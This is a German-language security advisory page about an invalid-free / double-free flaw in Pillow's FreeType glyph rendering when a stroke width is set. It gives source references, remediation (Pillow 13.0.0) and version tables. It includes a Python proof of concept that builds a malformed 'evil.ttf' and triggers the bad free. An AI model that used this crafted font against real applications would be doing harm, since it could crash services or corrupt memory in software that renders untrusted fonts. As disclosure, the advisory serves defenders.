Hoch

Pillow: Ungültige Speicherfreigabe beim FreeType-Glyph-Rendering bei aktivem Stroker

  • Veröffentlicht: 21.10.2026
  • Aktualisiert: 22.10.2026 00:04

Zusammenfassung

Wenn Text mit einer Strichbreite ungleich null gezeichnet wird, erstellt Pillow einen FreeType-Stroker und lädt anschließend jedes Glyph. Wenn FT_Load_Glyph für ein Glyph fehlschlägt, ruft der Bereinigungspfad FT_Done_Glyph für die Variable glyph auf. Diese Variable wird vor der ersten Messschleife nicht initialisiert und in der Renderschleife nach der Freigabe jedes Glyphs nicht wieder auf NULL zurückgesetzt. Eine manipulierte Schriftart, die aus nicht vertrauenswürdigen Bytes geladen wird, kann diesen Ladefehler erzwingen und diesen Freigabepfad erreichen. Dabei handelt es sich um eine latente Speichersicherheits-Schwachstelle; ob es zu einem Absturz kommt, hängt vom Wert im uninitialisierten oder veralteten Zeiger ab.

Details

glyph wird ohne NULL-Initialisierung deklariert:

  • src/_imagingft.c:848

Die erste Messschleife kann zu glyph_error springen, bevor glyph überhaupt zugewiesen wird:

  • src/_imagingft.c:1010-1013

In der Renderschleife wird das Glyph am Ende jeder Iteration freigegeben und nicht wieder auf NULL zurückgesetzt:

  • src/_imagingft.c:1242

Die Bereinigungslogik gibt es frei, sobald ein Stroker existiert:

  • src/_imagingft.c:1253-1256

ImageFont.truetype akzeptiert ein Dateiobjekt oder Bytes, sodass die Schriftart von Angreifern bereitgestellt werden kann.

PoC

Hierfür werden fontTools und eine beliebige Basis-TTF benötigt (das Beispiel verwendet eine, die den Pillow-Tests beiliegt). Es überschreibt das Glyph "A", sodass es 5000 Konturen in einem dafür viel zu kurzen Glyph-Körper beansprucht, wodurch FT_Load_Glyph einen Fehler zurückgibt, während sich die Schriftart dennoch öffnen lässt.

python
import struct
from fontTools.ttLib import TTFont
from PIL import Image, ImageFont, ImageDraw

SRC = "Tests/fonts/FreeMono.ttf"          # any TTF works as a base
tt = TTFont(SRC)
gid = tt.getGlyphID(tt.getBestCmap()[ord("A")])
loca_long = tt["head"].indexToLocFormat
tt.close()

raw = bytearray(open(SRC, "rb").read())
nt = struct.unpack(">H", raw[4:6])[0]
tbl = {}
for i in range(nt):
    rec = 12 + i * 16
    tag = bytes(raw[rec:rec+4]).decode("latin-1")
    off, length = struct.unpack(">II", raw[rec+8:rec+16])
    tbl[tag] = (off, length)
glyf_off = tbl["glyf"][0]; loca_off = tbl["loca"][0]
if loca_long:
    o0 = struct.unpack_from(">I", raw, loca_off + 4*gid)[0]
else:
    o0 = struct.unpack_from(">H", raw, loca_off + 2*gid)[0] * 2
struct.pack_into(">h", raw, glyf_off + o0, 5000)   # numberOfContours = 5000
open("evil.ttf", "wb").write(raw)

f = ImageFont.truetype("evil.ttf", 20)             # face opens
d = ImageDraw.Draw(Image.new("RGB", (64, 64)))
d.text((0, 0), "A", font=f, stroke_width=2)        # load error -> FT_Done_Glyph on bad pointer

Ergebnis auf dem festgelegten Build: FT_Load_Glyph gibt einen Fehler zurück und die Ausführung erreicht die Bereinigung glyph_error, die FT_Done_Glyph(glyph) aufruft (das Plugin meldet OSError: invalid outline).

Auswirkungen

Anwendungen, die Text mit stroke_width != 0 unter Verwendung von aus nicht vertrauenswürdigen Bytes geladenen Schriftarten zeichnen, können von einer ungültigen Freigabe oder einem Double Free betroffen sein. Die Korrektur umfasst die Initialisierung von glyph = NULL und das Zurücksetzen auf NULL nach jedem FT_Done_Glyph.

Was zu tun ist

Aktualisieren Sie Pillow auf Version 13.0.0 oder höher.

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Python (PyPI) pillow >= 10.0.0, < 13.0.0 13.0.0

Verweise

CVSS-Wert -
CVSS-Vektor
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Schwäche (CWE)
CWE-457, CWE-763
Plattform
Python (PyPI)
Paket
pillow
Veröffentlicht
21.10.2026
Aktualisiert
22.10.2026 00:04

Quellen und Lizenzen · Von DockRay bearbeitet oder übersetzt; Rechte und Lizenzen der Quellen bleiben erhalten.

OSV / GitHub Advisory Database - GHSA-j4m9-6w36-pw47 - CC BY 4.0

Schwachstellenhistorie: pillow

Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (89) im Archiv
Einträge insgesamt
89
Erste → letzte
04.2014 10.2026
Ohne Fix
0
In Angriffen ausgenutzt
1

Verteilung nach Schweregrad

  • Kritisch 12
  • Hoch 57
  • Mittel 18
  • Niedrig 1
  • Nicht bewertet 1

Veröffentlichungen pro Jahr

  1. 2017: 1
  2. 2018: 0
  3. 2019: 1
  4. 2020: 10
  5. 2021: 20
  6. 2022: 8
  7. 2023: 3
  8. 2024: 2
  9. 2025: 1
  10. 2026: 31

früher: 12

Schweregrad:
  1. Hoch CVE-2026-112390 >= 7.2.0, < 13.0.0 13.0.0
  2. Pillow: Ungültige Speicherfreigabe beim FreeType-Glyph-Rendering bei aktivem Stroker dieser Eintrag
    Hoch CVE-2026-112893 >= 10.0.0, < 13.0.0 13.0.0
  3. Kritisch CVE-2026-112900 >= 2.6.0, < 13.0.0 13.0.0
  4. Kritisch CVE-2026-112403 < 13.0.0 13.0.0
  5. Hoch · 7.5 CVE-2026-59200 >= 5.1.0, < 12.3.0 12.3.0
  6. Hoch CVE-2026-42311 >= 10.3.0, < 12.2.0 12.2.0
Mehr anzeigen (20) 20 von 69 angezeigt

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.